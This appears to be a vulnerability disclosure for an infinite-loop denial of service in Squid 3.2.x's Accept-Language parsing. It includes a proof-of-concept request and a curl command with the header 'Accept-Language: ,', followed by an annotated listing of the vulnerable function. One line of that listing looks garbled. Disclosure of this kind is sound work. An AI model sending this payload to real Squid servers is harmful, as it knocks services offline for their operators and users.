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DoS (loop, 100% cpu) strHdrAcptLangGetItem() at errorpage.cc

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Authors:

22733db72ab3ed94b5f8a1ffcde850251fe6f466

c8e74ebd8392fda4788179f9a02bb49337638e7b

AKAT-1

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Versions: 3.2.5, 3.2.7

This error is only triggered when squid needs to generate an error page (for example backend node is not responding etc…)
POC (request):
– cut –
GET http://127.0.0.1:1/foo HTTP/1.1
Accept-Language: ,
– cut –

e.g : curl -H "Accept-Language: ," http://localhost:3129/

Code:

strHdrAcptLangGetItem is called with pos equals 0, therefore first branch
in if (316 line) is taken, because xisspace(hdr[pos]) is false, then pos++
is not executed (because hdr[0] is ','). In 335 line statement in while is
also false because hdr[0] = ',', so whole loop body is omited. dt = lang,
thus after assignment in 353 line *lang == '\0', so expression in if
statement in 357 line is false. So next execution of while body (314 line),
has got same preconditions as previous, thus it's infinite loop.

312 bool strHdrAcptLangGetItem(const String &hdr, char *lang, int langLen, size_t &pos)
313 {
314 while (pos < hdr.size()) {
315 char *dt = lang;

316 if (!pos) {
317 /* skip any initial whitespace. */
318 while (pos < hdr.size() && xisspace(hdr[pos]))
319 ++pos;
320 } else {
321 // IFF we terminated the tag on whitespace or ';' we need to skip to the next ',' or end of header.
322 while (pos < hdr.size() && hdr[pos] != ',')
323 ++pos;
324 if (hdr[pos] == ',')
325 ++pos;
326 }

327 /*
328 * Header value format:
329 * - sequence of whitespace delimited tags
330 * - each tag may suffix with ';'.* which we can ignore.
331 * - IFF a tag contains only two characters we can wildcard ANY translations matching: <it> '-'? .*
332 * with preference given to an exact match.
333 */
334 bool invalid_byte = false;
335 while (pos < hdr.size() && hdr[pos] != ';' && hdr[pos] != ',' && !xisspace(hdr[pos]) && dt < (lang + (langLen -1)) ) {
336 if (!invalid_byte) {
337 #if USE_HTTP_VIOLATIONS
338 // if accepting violations we may as well accept some broken browsers
339 // which may send us the right code, wrong ISO formatting.
340 if (hdr[pos] == '_')
341 *dt = '-';
342 else
343 #endif
344 *dt = xtolower(hdr[pos]);
345 // valid codes only contain A-Z, hyphen (-) and *
346 if (*dt != '-' && dt != '' && (*dt < 'a' || *dt > 'z') )
347 invalid_byte = true;
348 else
349 ++dt; // move to next destination byte.
350 }
351 ++pos;
352 }
353 *dt = '\0'; // nul-terminated the filename content string before system use.
354 ++dt;

355 debugs(4, 9, HERE << "STATE: dt='" << dt << "', lang='" << lang << "', pos=" << pos << ", buf='" << ((pos < hdr.size()) ? hdr.substr(pos,hdr.size()) : "") << "'");

356 /* if we found anything we might use, try it. */
357 if (*lang != '\0' && !invalid_byte)
358 return true;
359 }
360 return false;
361 }

EOF